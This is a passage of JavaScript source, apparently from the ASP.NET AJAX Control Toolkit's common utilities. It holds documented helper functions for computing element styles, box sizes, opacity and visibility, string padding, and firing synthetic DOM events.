    _borderWidthNames: ["borderTopWidth", "borderRightWidth", "borderBottomWidth", "borderLeftWidth"],
    _paddingWidthNames: ["paddingTop", "paddingRight", "paddingBottom", "paddingLeft"],
    _marginWidthNames: ["marginTop", "marginRight", "marginBottom", "marginLeft"],

    getCurrentStyle: function(element, attribute, defaultValue) {
        /// <summary>
        /// CommonToolkitScripts.getCurrentStyle is used to compute the value of a style attribute on an
        /// element that is currently being displayed.  This is especially useful for scenarios where
        /// several CSS classes and style attributes are merged, or when you need information about the
        /// size of an element (such as its padding or margins) that is not exposed in any other fashion.
        /// </summary>
        /// <param name="element" type="Sys.UI.DomElement" domElement="true">
        /// Live DOM element to check style of
        /// </param>
        /// <param name="attribute" type="String">
        /// The style attribute's name is expected to be in a camel-cased form that you would use when
        /// accessing a JavaScript property instead of the hyphenated form you would use in a CSS
        /// stylesheet (i.e. it should be "backgroundColor" and not "background-color").
        /// </param>
        /// <param name="defaultValue" type="Object" mayBeNull="true" optional="true">
        /// In the event of a problem (i.e. a null element or an attribute that cannot be found) we
        /// return this object (or null if none if not specified).
        /// </param>
        /// <returns type="Object">
        /// Current style of the element's attribute
        /// </returns>

        var currentValue = null;
        if (element) {
            if (element.currentStyle) {
                currentValue = element.currentStyle[attribute];
            } else if (document.defaultView && document.defaultView.getComputedStyle) {
                var style = document.defaultView.getComputedStyle(element, null);
                if (style) {
                    currentValue = style[attribute];
                }
            }

            if (!currentValue && element.style.getPropertyValue) {
                currentValue = element.style.getPropertyValue(attribute);
            }
            else if (!currentValue && element.style.getAttribute) {
                currentValue = element.style.getAttribute(attribute);
            }
        }

        if ((!currentValue || currentValue == "" || typeof (currentValue) === 'undefined')) {
            if (typeof (defaultValue) != 'undefined') {
                currentValue = defaultValue;
            }
            else {
                currentValue = null;
            }
        }
        return currentValue;
    },

    getInheritedBackgroundColor: function(element) {
        /// <summary>
        /// CommonToolkitScripts.getInheritedBackgroundColor provides the ability to get the displayed
        /// background-color of an element.  In most cases calling CommonToolkitScripts.getCurrentStyle
        /// won't do the job because it will return "transparent" unless the element has been given a
        /// specific background color.  This function will walk up the element's parents until it finds
        /// a non-transparent color.  If we get all the way to the top of the document or have any other
        /// problem finding a color, we will return the default value '#FFFFFF'.  This function is
        /// especially important when we're using opacity in IE (because ClearType will make text look
        /// horrendous if you fade it with a transparent background color).
        /// </summary>
        /// <param name="element" type="Sys.UI.DomElement" domElement="true">
        /// Live DOM element to get the background color of
        /// </param>
        /// <returns type="String">
        /// Background color of the element
        /// </returns>

        if (!element) return '#FFFFFF';
        var background = this.getCurrentStyle(element, 'backgroundColor');
        try {
            while (!background || background == '' || background == 'transparent' || background == 'rgba(0, 0, 0, 0)') {
                element = element.parentNode;
                if (!element) {
                    background = '#FFFFFF';
                } else {
                    background = this.getCurrentStyle(element, 'backgroundColor');
                }
            }
        } catch (ex) {
            background = '#FFFFFF';
        }
        return background;
    },

    getLocation: function(element) {
        /// <summary>Gets the coordinates of a DOM element.</summary>
        /// <param name="element" domElement="true"/>
        /// <returns type="Sys.UI.Point">
        ///   A Point object with two fields, x and y, which contain the pixel coordinates of the element.
        /// </returns>
        return Sys.UI.DomElement.getLocation(element);
    },

    setLocation: function(element, point) {
        /// <summary>
        /// Sets the current location for an element.
        /// </summary>
        /// <param name="element" type="Sys.UI.DomElement" domElement="true">
        /// DOM element
        /// </param>
        /// <param name="point" type="Object">
        /// Point object (of the form {x,y})
        /// </param>
        /// <remarks>
        /// This method does not attempt to set the positioning mode of an element.
        /// The position is relative from the elements nearest position:relative or
        /// position:absolute element.
        /// </remarks>
        Sys.UI.DomElement.setLocation(element, point.x, point.y);
    },

    getContentSize: function(element) {
        /// <summary>
        /// Gets the "content-box" size of an element.
        /// </summary>
        /// <param name="element" type="Sys.UI.DomElement" domElement="true">
        /// DOM element
        /// </param>
        /// <returns type="Object">
        /// Size of the element (in the form {width,height})
        /// </returns>
        /// <remarks>
        /// The "content-box" is the size of the content area *inside* of the borders and
        /// padding of an element. The "content-box" size does not include the margins around
        /// the element.
        /// </remarks>

        if (!element) {
            throw Error.argumentNull('element');
        }
        var size = this.getSize(element);
        var borderBox = this.getBorderBox(element);
        var paddingBox = this.getPaddingBox(element);
        return {
            width: size.width - borderBox.horizontal - paddingBox.horizontal,
            height: size.height - borderBox.vertical - paddingBox.vertical
        }
    },

    getSize: function(element) {
        /// <summary>
        /// Gets the "border-box" size of an element.
        /// </summary>
        /// <param name="element" type="Sys.UI.DomElement" domElement="true">
        /// DOM element
        /// </param>
        /// <returns type="Object">
        /// Size of the element (in the form {width,height})
        /// </returns>
        /// <remarks>
        /// The "border-box" is the size of the content area *outside* of the borders and
        /// padding of an element.  The "border-box" size does not include the margins around
        /// the element.
        /// </remarks>

        if (!element) {
            throw Error.argumentNull('element');
        }
        return {
            width: element.offsetWidth,
            height: element.offsetHeight
        };
    },

    setContentSize: function(element, size) {
        /// <summary>
        /// Sets the "content-box" size of an element.
        /// </summary>
        /// <param name="element" type="Sys.UI.DomElement" domElement="true">
        /// DOM element
        /// </param>
        /// <param name="size" type="Object">
        /// Size of the element (in the form {width,height})
        /// </param>
        /// <remarks>
        /// The "content-box" is the size of the content area *inside* of the borders and
        /// padding of an element. The "content-box" size does not include the margins around
        /// the element.
        /// </remarks>

        if (!element) {
            throw Error.argumentNull('element');
        }
        if (!size) {
            throw Error.argumentNull('size');
        }
        // FF respects -moz-box-sizing css extension, so adjust the box size for the border-box
        if (this.getCurrentStyle(element, 'MozBoxSizing') == 'border-box' || this.getCurrentStyle(element, 'BoxSizing') == 'border-box') {
            var borderBox = this.getBorderBox(element);
            var paddingBox = this.getPaddingBox(element);
            size = {
                width: size.width + borderBox.horizontal + paddingBox.horizontal,
                height: size.height + borderBox.vertical + paddingBox.vertical
            };
        }
        element.style.width = size.width.toString() + 'px';
        element.style.height = size.height.toString() + 'px';
    },

    setSize: function(element, size) {
        /// <summary>
        /// Sets the "border-box" size of an element.
        /// </summary>
        /// <remarks>
        /// The "border-box" is the size of the content area *outside* of the borders and 
        /// padding of an element.  The "border-box" size does not include the margins around
        /// the element.
        /// </remarks>
        /// <param name="element" type="Sys.UI.DomElement">DOM element</param>
        /// <param name="size" type="Object">Size of the element (in the form {width,height})</param>
        /// <returns />

        if (!element) {
            throw Error.argumentNull('element');
        }
        if (!size) {
            throw Error.argumentNull('size');
        }
        var borderBox = this.getBorderBox(element);
        var paddingBox = this.getPaddingBox(element);
        var contentSize = {
            width: size.width - borderBox.horizontal - paddingBox.horizontal,
            height: size.height - borderBox.vertical - paddingBox.vertical
        };
        this.setContentSize(element, contentSize);
    },

    getBounds: function(element) {
        /// <summary>Gets the coordinates, width and height of an element.</summary>
        /// <param name="element" domElement="true"/>
        /// <returns type="Sys.UI.Bounds">
        ///   A Bounds object with four fields, x, y, width and height, which contain the pixel coordinates,
        ///   width and height of the element.
        /// </returns>
        return Sys.UI.DomElement.getBounds(element);
    },

    setBounds: function(element, bounds) {
        /// <summary>
        /// Sets the "border-box" bounds of an element
        /// </summary>
        /// <param name="element" type="Sys.UI.DomElement" domElement="true">
        /// DOM element
        /// </param>
        /// <param name="bounds" type="Object">
        /// Bounds of the element (of the form {x,y,width,height})
        /// </param>
        /// <remarks>
        /// The "border-box" is the size of the content area *outside* of the borders and
        /// padding of an element.  The "border-box" size does not include the margins around
        /// the element.
        /// </remarks>

        if (!element) {
            throw Error.argumentNull('element');
        }
        if (!bounds) {
            throw Error.argumentNull('bounds');
        }
        this.setSize(element, bounds);
        $common.setLocation(element, bounds);
    },

    getClientBounds: function() {
        /// <summary>
        /// Gets the width and height of the browser client window (excluding scrollbars)
        /// </summary>
        /// <returns type="Sys.UI.Bounds">
        /// Browser's client width and height
        /// </returns>

        var clientWidth;
        var clientHeight;

        // getClientBounds must return dimensions excluding scrollbars, so cannot use window.innerWidth and window.innerHeight.
        if (document.compatMode == "CSS1Compat") {
            // Standards-compliant mode
            clientWidth = document.documentElement.clientWidth;
            clientHeight = document.documentElement.clientHeight;
        }
        else {
            // Quirks mode
            clientWidth = document.body.clientWidth;
            clientHeight = document.body.clientHeight;
        }
        return new Sys.UI.Bounds(0, 0, clientWidth, clientHeight);
    },

    getMarginBox: function(element) {
        /// <summary>
        /// Gets the entire margin box sizes.
        /// </summary>
        /// <param name="element" type="Sys.UI.DomElement" domElement="true">
        /// DOM element
        /// </param>
        /// <returns type="Object">
        /// Element's margin box sizes (of the form {top,left,bottom,right,horizontal,vertical})
        /// </returns>

        if (!element) {
            throw Error.argumentNull('element');
        }
        var box = {
            top: this.getMargin(element, AjaxControlToolkit.BoxSide.Top),
            right: this.getMargin(element, AjaxControlToolkit.BoxSide.Right),
            bottom: this.getMargin(element, AjaxControlToolkit.BoxSide.Bottom),
            left: this.getMargin(element, AjaxControlToolkit.BoxSide.Left)
        };
        box.horizontal = box.left + box.right;
        box.vertical = box.top + box.bottom;
        return box;
    },

    getBorderBox: function(element) {
        /// <summary>
        /// Gets the entire border box sizes.
        /// </summary>
        /// <param name="element" type="Sys.UI.DomElement" domElement="true">
        /// DOM element
        /// </param>
        /// <returns type="Object">
        /// Element's border box sizes (of the form {top,left,bottom,right,horizontal,vertical})
        /// </returns>

        if (!element) {
            throw Error.argumentNull('element');
        }
        var box = {
            top: this.getBorderWidth(element, AjaxControlToolkit.BoxSide.Top),
            right: this.getBorderWidth(element, AjaxControlToolkit.BoxSide.Right),
            bottom: this.getBorderWidth(element, AjaxControlToolkit.BoxSide.Bottom),
            left: this.getBorderWidth(element, AjaxControlToolkit.BoxSide.Left)
        };
        box.horizontal = box.left + box.right;
        box.vertical = box.top + box.bottom;
        return box;
    },

    getPaddingBox: function(element) {
        /// <summary>
        /// Gets the entire padding box sizes.
        /// </summary>
        /// <param name="element" type="Sys.UI.DomElement" domElement="true">
        /// DOM element
        /// </param>
        /// <returns type="Object">
        /// Element's padding box sizes (of the form {top,left,bottom,right,horizontal,vertical})
        /// </returns>

        if (!element) {
            throw Error.argumentNull('element');
        }
        var box = {
            top: this.getPadding(element, AjaxControlToolkit.BoxSide.Top),
            right: this.getPadding(element, AjaxControlToolkit.BoxSide.Right),
            bottom: this.getPadding(element, AjaxControlToolkit.BoxSide.Bottom),
            left: this.getPadding(element, AjaxControlToolkit.BoxSide.Left)
        };
        box.horizontal = box.left + box.right;
        box.vertical = box.top + box.bottom;
        return box;
    },

    isBorderVisible: function(element, boxSide) {
        /// <summary>
        /// Gets whether the current border style for an element on a specific boxSide is not 'none'.
        /// </summary>
        /// <param name="element" type="Sys.UI.DomElement" domElement="true">
        /// DOM element
        /// </param>
        /// <param name="boxSide" type="AjaxControlToolkit.BoxSide">
        /// Side of the element
        /// </param>
        /// <returns type="Boolean">
        /// Whether the current border style for an element on a specific boxSide is not 'none'.
        /// </returns>

        if (!element) {
            throw Error.argumentNull('element');
        }
        if (boxSide < AjaxControlToolkit.BoxSide.Top || boxSide > AjaxControlToolkit.BoxSide.Left) {
            throw Error.argumentOutOfRange(String.format(Sys.Res.enumInvalidValue, boxSide, 'AjaxControlToolkit.BoxSide'));
        }
        var styleName = this._borderStyleNames[boxSide];
        var styleValue = this.getCurrentStyle(element, styleName);
        return styleValue != "none";
    },

    getMargin: function(element, boxSide) {
        /// <summary>
        /// Gets the margin thickness of an element on a specific boxSide.
        /// </summary>
        /// <param name="element" type="Sys.UI.DomElement" domElement="true">
        /// DOM element
        /// </param>
        /// <param name="boxSide" type="AjaxControlToolkit.BoxSide">
        /// Side of the element
        /// </param>
        /// <returns type="Number" integer="true">
        /// Margin thickness on the element's specified side
        /// </returns>

        if (!element) {
            throw Error.argumentNull('element');
        }
        if (boxSide < AjaxControlToolkit.BoxSide.Top || boxSide > AjaxControlToolkit.BoxSide.Left) {
            throw Error.argumentOutOfRange(String.format(Sys.Res.enumInvalidValue, boxSide, 'AjaxControlToolkit.BoxSide'));
        }
        var styleName = this._marginWidthNames[boxSide];
        var styleValue = this.getCurrentStyle(element, styleName);
        try { return this.parsePadding(styleValue); } catch (ex) { return 0; }
    },

    getBorderWidth: function(element, boxSide) {
        /// <summary>
        /// Gets the border thickness of an element on a specific boxSide.
        /// </summary>
        /// <param name="element" type="Sys.UI.DomElement" domElement="true">
        /// DOM element
        /// </param>
        /// <param name="boxSide" type="AjaxControlToolkit.BoxSide">
        /// Side of the element
        /// </param>
        /// <returns type="Number" integer="true">
        /// Border thickness on the element's specified side
        /// </returns>

        if (!element) {
            throw Error.argumentNull('element');
        }
        if (boxSide < AjaxControlToolkit.BoxSide.Top || boxSide > AjaxControlToolkit.BoxSide.Left) {
            throw Error.argumentOutOfRange(String.format(Sys.Res.enumInvalidValue, boxSide, 'AjaxControlToolkit.BoxSide'));
        }
        if (!this.isBorderVisible(element, boxSide)) {
            return 0;
        }
        var styleName = this._borderWidthNames[boxSide];
        var styleValue = this.getCurrentStyle(element, styleName);
        return this.parseBorderWidth(styleValue);
    },

    getPadding: function(element, boxSide) {
        /// <summary>
        /// Gets the padding thickness of an element on a specific boxSide.
        /// </summary>
        /// <param name="element" type="Sys.UI.DomElement" domElement="true">
        /// DOM element
        /// </param>
        /// <param name="boxSide" type="AjaxControlToolkit.BoxSide">
        /// Side of the element
        /// </param>
        /// <returns type="Number" integer="true">
        /// Padding on the element's specified side
        /// </returns>

        if (!element) {
            throw Error.argumentNull('element');
        }
        if (boxSide < AjaxControlToolkit.BoxSide.Top || boxSide > AjaxControlToolkit.BoxSide.Left) {
            throw Error.argumentOutOfRange(String.format(Sys.Res.enumInvalidValue, boxSide, 'AjaxControlToolkit.BoxSide'));
        }
        var styleName = this._paddingWidthNames[boxSide];
        var styleValue = this.getCurrentStyle(element, styleName);
        return this.parsePadding(styleValue);
    },

    parseBorderWidth: function(borderWidth) {
        /// <summary>
        /// Parses a border-width string into a pixel size
        /// </summary>
        /// <param name="borderWidth" type="String" mayBeNull="true">
        /// Type of border ('thin','medium','thick','inherit',px unit,null,'')
        /// </param>
        /// <returns type="Number" integer="true">
        /// Number of pixels in the border-width
        /// </returns>
        if (!this._borderThicknesses) {

            // Populate the borderThicknesses lookup table
            var borderThicknesses = {};
            var div0 = document.createElement('div');
            div0.style.visibility = 'hidden';
            div0.style.position = 'absolute';
            div0.style.fontSize = '1px';
            document.body.appendChild(div0)
            var div1 = document.createElement('div');
            div1.style.height = '0px';
            div1.style.overflow = 'hidden';
            div0.appendChild(div1);
            var base = div0.offsetHeight;
            div1.style.borderTop = 'solid black';
            div1.style.borderTopWidth = 'thin';
            borderThicknesses['thin'] = div0.offsetHeight - base;
            div1.style.borderTopWidth = 'medium';
            borderThicknesses['medium'] = div0.offsetHeight - base;
            div1.style.borderTopWidth = 'thick';
            borderThicknesses['thick'] = div0.offsetHeight - base;
            div0.removeChild(div1);
            document.body.removeChild(div0);
            this._borderThicknesses = borderThicknesses;
        }

        if (borderWidth) {
            switch (borderWidth) {
                case 'thin':
                case 'medium':
                case 'thick':
                    return this._borderThicknesses[borderWidth];
                case 'inherit':
                    return 0;
            }
            var unit = this.parseUnit(borderWidth);
            Sys.Debug.assert(unit.type == 'px', String.format(AjaxControlToolkit.Resources.Common_InvalidBorderWidthUnit, unit.type));
            return unit.size;
        }
        return 0;
    },

    parsePadding: function(padding) {
        /// <summary>
        /// Parses a padding string into a pixel size
        /// </summary>
        /// <param name="padding" type="String" mayBeNull="true">
        /// Padding to parse ('inherit',px unit,null,'')
        /// </param>
        /// <returns type="Number" integer="true">
        /// Number of pixels in the padding
        /// </returns>

        if (padding) {
            if (padding == 'inherit') {
                return 0;
            }
            var unit = this.parseUnit(padding);
            Sys.Debug.assert(unit.type == 'px', String.format(AjaxControlToolkit.Resources.Common_InvalidPaddingUnit, unit.type));
            return unit.size;
        }
        return 0;
    },

    parseUnit: function(value) {
        /// <summary>
        /// Parses a unit string into a unit object
        /// </summary>
        /// <param name="value" type="String" mayBeNull="true">
        /// Value to parse (of the form px unit,% unit,em unit,...)
        /// </param>
        /// <returns type="Object">
        /// Parsed unit (of the form {size,type})
        /// </returns>

        if (!value) {
            throw Error.argumentNull('value');
        }

        value = value.trim().toLowerCase();
        var l = value.length;
        var s = -1;
        for (var i = 0; i < l; i++) {
            var ch = value.substr(i, 1);
            if ((ch < '0' || ch > '9') && ch != '-' && ch != '.' && ch != ',') {
                break;
            }
            s = i;
        }
        if (s == -1) {
            throw Error.create(AjaxControlToolkit.Resources.Common_UnitHasNoDigits);
        }
        var type;
        var size;
        if (s < (l - 1)) {
            type = value.substring(s + 1).trim();
        } else {
            type = 'px';
        }
        size = parseFloat(value.substr(0, s + 1));
        if (type == 'px') {
            size = Math.floor(size);
        }
        return {
            size: size,
            type: type
        };
    },

    getElementOpacity: function(element) {
        /// <summary>
        /// Get the element's opacity
        /// </summary>
        /// <param name="element" type="Sys.UI.DomElement" domElement="true">
        /// Element
        /// </param>
        /// <returns type="Number">
        /// Opacity of the element
        /// </returns>

        if (!element) {
            throw Error.argumentNull('element');
        }

        var hasOpacity = false;
        var opacity;

        if (element.filters) {
            var filters = element.filters;
            if (filters.length !== 0) {
                var alphaFilter = filters['DXImageTransform.Microsoft.Alpha'];
                if (alphaFilter) {
                    opacity = alphaFilter.opacity / 100.0;
                    hasOpacity = true;
                }
            }
        }
        else {
            opacity = this.getCurrentStyle(element, 'opacity', 1);
            hasOpacity = true;
        }

        if (hasOpacity === false) {
            return 1.0;
        }
        return parseFloat(opacity);
    },

    setElementOpacity: function(element, value) {
        /// <summary>
        /// Set the element's opacity
        /// </summary>
        /// <param name="element" type="Sys.UI.DomElement" domElement="true">
        /// Element
        /// </param>
        /// <param name="value" type="Number">
        /// Opacity of the element
        /// </param>

        if (!element) {
            throw Error.argumentNull('element');
        }

        if (element.filters) {
            var filters = element.filters;
            var createFilter = true;
            if (filters.length !== 0) {
                var alphaFilter = filters['DXImageTransform.Microsoft.Alpha'];
                if (alphaFilter) {
                    createFilter = false;
                    alphaFilter.opacity = value * 100;
                }
            }
            if (createFilter) {
                element.style.filter = 'progid:DXImageTransform.Microsoft.Alpha(opacity=' + (value * 100) + ')';
            }
        }
        else {
            element.style.opacity = value;
        }
    },

    getVisible: function(element) {
        /// <summary>
        /// Check if an element is visible
        /// </summary>
        /// <param name="element" type="Sys.UI.DomElement" domElement="true">
        /// Element
        /// </param>
        /// <returns type="Boolean" mayBeNull="false">
        /// True if the element is visible, false otherwise
        /// </returns>

        // Note: reference to CommonToolkitScripts must be left intact (i.e. don't
        // replace with 'this') because this function will be aliased

        return (element &&
                ("none" != $common.getCurrentStyle(element, "display")) &&
                ("hidden" != $common.getCurrentStyle(element, "visibility")));
    },

    setVisible: function(element, value) {
        /// <summary>
        /// Check if an element is visible
        /// </summary>
        /// <param name="element" type="Sys.UI.DomElement" domElement="true">
        /// Element
        /// </param>
        /// <param name="value" type="Boolean" mayBeNull="false">
        /// True to make the element visible, false to hide it
        /// </param>

        // Note: reference to CommonToolkitScripts must be left intact (i.e. don't
        // replace with 'this') because this function will be aliased

        if (element && value != $common.getVisible(element)) {
            if (value) {
                if (element.style.removeAttribute) {
                    element.style.removeAttribute("display");
                } else {
                    element.style.removeProperty("display");
                }
            } else {
                element.style.display = 'none';
            }
            element.style.visibility = value ? 'visible' : 'hidden';
        }
    },

    resolveFunction: function(value) {
        /// <summary>
        /// Returns a function reference that corresponds to the provided value
        /// </summary>
        /// <param name="value" type="Object">
        /// The value can either be a Function, the name of a function (that can be found using window['name']),
        /// or an expression that evaluates to a function.
        /// </param>
        /// <returns type="Function">
        /// Reference to the function, or null if not found
        /// </returns>

        if (value) {
            if (value instanceof Function) {
                return value;
            } else if (String.isInstanceOfType(value) && value.length > 0) {
                var func;
                if ((func = window[value]) instanceof Function) {
                    return func;
                } else if ((func = eval(value)) instanceof Function) {
                    return func;
                }
            }
        }
        return null;
    },

    addCssClasses: function(element, classNames) {
        /// <summary>
        /// Adds multiple css classes to a DomElement
        /// </summary>
        /// <param name="element" type="Sys.UI.DomElement">The element to modify</param>
        /// <param name="classNames" type="Array">The class names to add</param>

        for (var i = 0; i < classNames.length; i++) {
            Sys.UI.DomElement.addCssClass(element, classNames[i]);
        }
    },
    removeCssClasses: function(element, classNames) {
        /// <summary>
        /// Removes multiple css classes to a DomElement
        /// </summary>
        /// <param name="element" type="Sys.UI.DomElement">The element to modify</param>
        /// <param name="classNames" type="Array">The class names to remove</param>

        for (var i = 0; i < classNames.length; i++) {
            Sys.UI.DomElement.removeCssClass(element, classNames[i]);
        }
    },
    setStyle: function(element, style) {
        /// <summary>
        /// Sets the style of the element using the supplied style template object
        /// </summary>
        /// <param name="element" type="Sys.UI.DomElement">The element to modify</param>
        /// <param name="style" type="Object">The template</param>

        $common.applyProperties(element.style, style);
    },
    removeHandlers: function(element, events) {
        /// <summary>
        /// Removes a set of event handlers from an element
        /// </summary>
        /// <param name="element" type="Sys.UI.DomElement">The element to modify</param>
        /// <param name="events" type="Object">The template object that contains event names and delegates</param>
        /// <remarks>
        /// This is NOT the same as $clearHandlers which removes all delegates from a DomElement.  This rather removes select delegates 
        /// from a specified element and has a matching signature as $addHandlers
        /// </remarks>
        for (var name in events) {
            $removeHandler(element, name, events[name]);
        }
    },

    overlaps: function(r1, r2) {
        /// <summary>
        /// Determine if two rectangles overlap
        /// </summary>
        /// <param name="r1" type="Object">
        /// Rectangle
        /// </param>
        /// <param name="r2" type="Object">
        /// Rectangle
        /// </param>
        /// <returns type="Boolean">
        /// True if the rectangles overlap, false otherwise
        /// </returns>

        return r1.x < (r2.x + r2.width)
                && r2.x < (r1.x + r1.width)
                && r1.y < (r2.y + r2.height)
                && r2.y < (r1.y + r1.height);
    },

    containsPoint: function(rect, x, y) {
        /// <summary>
        /// Tests whether a point (x,y) is contained within a rectangle
        /// </summary>
        /// <param name="rect" type="Object">The rectangle</param>
        /// <param name="x" type="Number">The x coordinate of the point</param>
        /// <param name="y" type="Number">The y coordinate of the point</param>

        return x >= rect.x && x < (rect.x + rect.width) && y >= rect.y && y < (rect.y + rect.height);
    },

    isKeyDigit: function(keyCode) {
        /// <summary>
        /// Gets whether the supplied key-code is a digit
        /// </summary>
        /// <param name="keyCode" type="Number" integer="true">The key code of the event (from Sys.UI.DomEvent)</param>
        /// <returns type="Boolean" />

        return (0x30 <= keyCode && keyCode <= 0x39);
    },

    isKeyNavigation: function(keyCode) {
        /// <summary>
        /// Gets whether the supplied key-code is a navigation key
        /// </summary>
        /// <param name="keyCode" type="Number" integer="true">The key code of the event (from Sys.UI.DomEvent)</param>
        /// <returns type="Boolean" />

        return (Sys.UI.Key.left <= keyCode && keyCode <= Sys.UI.Key.down);
    },

    padLeft: function(text, size, ch, truncate) {
        /// <summary>
        /// Pads the left hand side of the supplied text with the specified pad character up to the requested size
        /// </summary>
        /// <param name="text" type="String">The text to pad</param>
        /// <param name="size" type="Number" integer="true" optional="true">The size to pad the text (default is 2)</param>
        /// <param name="ch" type="String" optional="true">The single character to use as the pad character (default is ' ')</param>
        /// <param name="truncate" type="Boolean" optional="true">Whether to truncate the text to size (default is false)</param>

        return $common._pad(text, size || 2, ch || ' ', 'l', truncate || false);
    },

    padRight: function(text, size, ch, truncate) {
        /// <summary>
        /// Pads the right hand side of the supplied text with the specified pad character up to the requested size
        /// </summary>
        /// <param name="text" type="String">The text to pad</param>
        /// <param name="size" type="Number" integer="true" optional="true">The size to pad the text (default is 2)</param>
        /// <param name="ch" type="String" optional="true">The single character to use as the pad character (default is ' ')</param>
        /// <param name="truncate" type="Boolean" optional="true">Whether to truncate the text to size (default is false)</param>

        return $common._pad(text, size || 2, ch || ' ', 'r', truncate || false);
    },

    _pad: function(text, size, ch, side, truncate) {
        /// <summary>
        /// Pads supplied text with the specified pad character up to the requested size
        /// </summary>
        /// <param name="text" type="String">The text to pad</param>
        /// <param name="size" type="Number" integer="true">The size to pad the text</param>
        /// <param name="ch" type="String">The single character to use as the pad character</param>
        /// <param name="side" type="String">Either 'l' or 'r' to siginfy whether to pad the Left or Right side respectively</param>
        /// <param name="truncate" type="Boolean">Whether to truncate the text to size</param>

        text = text.toString();
        var length = text.length;
        var builder = new Sys.StringBuilder();
        if (side == 'r') {
            builder.append(text);
        }
        while (length < size) {
            builder.append(ch);
            length++;
        }
        if (side == 'l') {
            builder.append(text);
        }
        var result = builder.toString();
        if (truncate && result.length > size) {
            if (side == 'l') {
                result = result.substr(result.length - size, size);
            } else {
                result = result.substr(0, size);
            }
        }
        return result;
    },

    __DOMEvents: {
        focusin: { eventGroup: "UIEvents", init: function(e, p) { e.initUIEvent("focusin", true, false, window, 1); } },
        focusout: { eventGroup: "UIEvents", init: function(e, p) { e.initUIEvent("focusout", true, false, window, 1); } },
        activate: { eventGroup: "UIEvents", init: function(e, p) { e.initUIEvent("activate", true, true, window, 1); } },
        focus: { eventGroup: "UIEvents", init: function(e, p) { e.initUIEvent("focus", false, false, window, 1); } },
        blur: { eventGroup: "UIEvents", init: function(e, p) { e.initUIEvent("blur", false, false, window, 1); } },
        click: { eventGroup: "MouseEvents", init: function(e, p) { e.initMouseEvent("click", true, true, window, 1, p.screenX || 0, p.screenY || 0, p.clientX || 0, p.clientY || 0, p.ctrlKey || false, p.altKey || false, p.shiftKey || false, p.metaKey || false, p.button || 0, p.relatedTarget || null); } },
        dblclick: { eventGroup: "MouseEvents", init: function(e, p) { e.initMouseEvent("click", true, true, window, 2, p.screenX || 0, p.screenY || 0, p.clientX || 0, p.clientY || 0, p.ctrlKey || false, p.altKey || false, p.shiftKey || false, p.metaKey || false, p.button || 0, p.relatedTarget || null); } },
        mousedown: { eventGroup: "MouseEvents", init: function(e, p) { e.initMouseEvent("mousedown", true, true, window, 1, p.screenX || 0, p.screenY || 0, p.clientX || 0, p.clientY || 0, p.ctrlKey || false, p.altKey || false, p.shiftKey || false, p.metaKey || false, p.button || 0, p.relatedTarget || null); } },
        mouseup: { eventGroup: "MouseEvents", init: function(e, p) { e.initMouseEvent("mouseup", true, true, window, 1, p.screenX || 0, p.screenY || 0, p.clientX || 0, p.clientY || 0, p.ctrlKey || false, p.altKey || false, p.shiftKey || false, p.metaKey || false, p.button || 0, p.relatedTarget || null); } },
        mouseover: { eventGroup: "MouseEvents", init: function(e, p) { e.initMouseEvent("mouseover", true, true, window, 1, p.screenX || 0, p.screenY || 0, p.clientX || 0, p.clientY || 0, p.ctrlKey || false, p.altKey || false, p.shiftKey || false, p.metaKey || false, p.button || 0, p.relatedTarget || null); } },
        mousemove: { eventGroup: "MouseEvents", init: function(e, p) { e.initMouseEvent("mousemove", true, true, window, 1, p.screenX || 0, p.screenY || 0, p.clientX || 0, p.clientY || 0, p.ctrlKey || false, p.altKey || false, p.shiftKey || false, p.metaKey || false, p.button || 0, p.relatedTarget || null); } },
        mouseout: { eventGroup: "MouseEvents", init: function(e, p) { e.initMouseEvent("mousemove", true, true, window, 1, p.screenX || 0, p.screenY || 0, p.clientX || 0, p.clientY || 0, p.ctrlKey || false, p.altKey || false, p.shiftKey || false, p.metaKey || false, p.button || 0, p.relatedTarget || null); } },
        load: { eventGroup: "HTMLEvents", init: function(e, p) { e.initEvent("load", false, false); } },
        unload: { eventGroup: "HTMLEvents", init: function(e, p) { e.initEvent("unload", false, false); } },
        select: { eventGroup: "HTMLEvents", init: function(e, p) { e.initEvent("select", true, false); } },
        change: { eventGroup: "HTMLEvents", init: function(e, p) { e.initEvent("change", true, false); } },
        submit: { eventGroup: "HTMLEvents", init: function(e, p) { e.initEvent("submit", true, true); } },
        reset: { eventGroup: "HTMLEvents", init: function(e, p) { e.initEvent("reset", true, false); } },
        resize: { eventGroup: "HTMLEvents", init: function(e, p) { e.initEvent("resize", true, false); } },
        scroll: { eventGroup: "HTMLEvents", init: function(e, p) { e.initEvent("scroll", true, false); } }
    },

    tryFireRawEvent: function(element, rawEvent) {
        /// <summary>
        /// Attempts to fire a raw DOM event on an element
        /// </summary>
        /// <param name="element" type="Sys.UI.DomElement">The element to fire the event</param>
        /// <param name="rawEvent" type="Object">The raw DOM event object to fire. Must not be Sys.UI.DomEvent</param>
        /// <returns type="Boolean">True if the event was successfully fired, otherwise false</returns>

        try {
            if (element.fireEvent) {
                element.fireEvent("on" + rawEvent.type, rawEvent);
                return true;
            } else if (element.dispatchEvent) {
                element.dispatchEvent(rawEvent);
                return true;
            }
        } catch (e) {
        }
        return false;
    },

    tryFireEvent: function(element, eventName, properties) {
        /// <summary>
        /// Attempts to fire a DOM event on an element
        /// </summary>
        /// <param name="element" type="Sys.UI.DomElement">The element to fire the event</param>
        /// <param name="eventName" type="String">The name of the event to fire (without an 'on' prefix)</param>
        /// <param name="properties" type="Object">Properties to add to the event</param>
        /// <returns type="Boolean">True if the event was successfully fired, otherwise false</returns>

        try {
            if (document.createEventObject) {
                var e = document.createEventObject();
                $common.applyProperties(e, properties || {});
                element.fireEvent("on" + eventName, e);
                return true;
            } else if (document.createEvent) {
                var def = $common.__DOMEvents[eventName];
                if (def) {
                    var e = document.createEvent(def.eventGroup);
                    def.init(e, properties || {});
                    element.dispatchEvent(e);
                    return true;
                }
            }
        } catch (e) {
        }
        return false;
    },

    wrapElement: function(innerElement, newOuterElement, newInnerParentElement) {
        /// <summary>
        /// Wraps an inner element with a new outer element at the same DOM location as the inner element
        /// </summary>
        /// <param name="innerElement" type="Sys.UI.DomElement">The element to be wrapped</param>
        /// <param name="newOuterElement" type="Sys.UI.DomElement">The new parent for the element</param>
        /// <returns />

        var parent = innerElement.parentNode;
        parent.replaceChild(newOuterElement, innerElement);
        (newInnerParentElement || newOuterElement).appendChild(innerElement);
    },

    unwrapElement: function(innerElement, oldOuterElement) {
        /// <summary>
        /// Unwraps an inner element from an outer element at the same DOM location as the outer element
        /// </summary>
